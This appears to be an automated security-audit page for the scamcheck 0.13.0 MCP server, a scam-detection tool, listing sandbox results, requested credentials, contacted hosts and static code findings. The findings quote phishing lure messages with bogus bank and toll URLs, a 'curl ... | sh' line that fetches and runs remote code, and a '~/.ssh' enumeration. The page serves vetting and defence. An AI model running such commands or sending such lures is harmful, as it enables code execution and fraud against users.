scamcheck@0.13.0
VERIFIED· not startedPublisher claims: "Enables Model Context Protocol agents to triage suspicious messages locally with explainable verdicts, signals, playbooks, and intelligence, while also supporting URL checks, entity extraction, and tamper-evident case creation." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- install scripts, with decoy credentials in place · second launch with the clock 45 days ahead · the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
ANTHROPIC_API_KEYOPENAI_API_KEYSCAMCHECK_TELEGRAM_TOKENSCAMCHECK_WHATSAPP_TOKENTELEGRAM_BOT_TOKENWHATSAPP_APP_SECRETWHATSAPP_TOKENWHATSAPP_VERIFY_TOKENor--bot-tokenConfiguration, not credentials: OPENAI_BASE_URL, PYTHONPATH, SCAMCHECK_AI_MODEL, SCAMCHECK_ANNOUNCE_ALL, SCAMCHECK_BOT_AI, SCAMCHECK_HOME, SCAMCHECK_JARVIS_AI, SCAMCHECK_PYTHON, SCAMCHECK_REGION, SCAMCHECK_ROOT, SCAMCHECK_SAY_CMD, SCAMCHECK_TELEGRAM_API, SCAMCHECK_VISION_MODEL, SCAMCHECK_VOICE_NAME, SCAMCHECK_VOICE_NAME_HI, SCAMCHECK_WATCH_AI, SCAMCHECK_WHATSAPP_API, WHATSAPP_PHONE_NUMBER_ID- Where it talks to
- no vendor host named in the codeAlso telegram.org, facebook.com, rdap.org, cybercrime.gov.in, ic3.gov, ftc.gov, identitytheft.gov, police.uk, cyber.gov.au, scamwatch.gov.au, antifraudcentre-centreantifraude.ca, scamshield.gov.sg, police.gov.sg, dubaipolice.gov.ae, netsafe.org.nz, govt.nz, saps.gov.za — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names telegram.org, facebook.com, rdap.org, cybercrime.gov.in, ic3.gov, ftc.gov, identitytheft.gov, police.uk, cyber.gov.au, scamwatch.gov.au, antifraudcentre-centreantifraude.ca, scamshield.gov.sg, police.gov.sg, dubaipolice.gov.ae, netsafe.org.nz, govt.nz, saps.gov.za as well as its own vendor. The guard injects ANTHROPIC_API_KEY, OPENAI_API_KEY, SCAMCHECK_TELEGRAM_TOKEN, SCAMCHECK_WHATSAPP_TOKEN, TELEGRAM_BOT_TOKEN, WHATSAPP_APP_SECRET, WHATSAPP_TOKEN, WHATSAPP_VERIFY_TOKEN only into requests to the host you bind (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (3 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-11 and scored it 81/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 3 scenarios · 0 deviationsStatic findings
"transaction. Verify your details immediately at http://202.51.10.7/secure-hdfc-verify", 2),Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(cmd, capture_output=True, timeout=60)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(cmd, capture_output=True, timeout=90)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."transaction. Verify your details immediately at http://202.51.10.7/secure-hdfc-verify", 2),Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.ssh_dir = _expand("~/.ssh")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.proc = subprocess.run([sys.executable, "-m", "scamcheck", "--bot-status", "--json"],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."to avoid a $50 late fee: http://dmv-toll-pay.top/eztag", 2),Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(cmd + [text], capture_output=True, timeout=60)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."late fee applies: http://dmv-toll-pay.top/eztag",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."bank": "Bank fraud line; activate the kill switch/freeze in your banking app",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.# --- scoring: shape of the kill chain matters, not the sum of words ---Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.return subprocess.run([sys.executable, "-m", "scamcheck"] + list(args),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."curl -fsSL https://example.com/install.sh | sh")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."URGENT: your bank account is suspended. Verify at http://202.51.10.7/hdfc"}},Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.text="URGENT: your bank account is blocked. Verify KYC now: http://bit.ly/x1",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.proc = subprocess.run(cmd, cwd=ROOT, env=env, capture_output=True, text=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."http://bit.ly/x1y2z or your account will be blocked within 24 hours."Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.proc = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.return subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."curl -fsSL https://example.com/install.sh | sh")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.# A malformed line must not kill the loop.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.- banking / OTP / KYC phishing scripts ("verify your account", "do not share this code")Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct."URGENT: your bank account is suspended. Verify at http://202.51.10.7/hdfc"}},Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.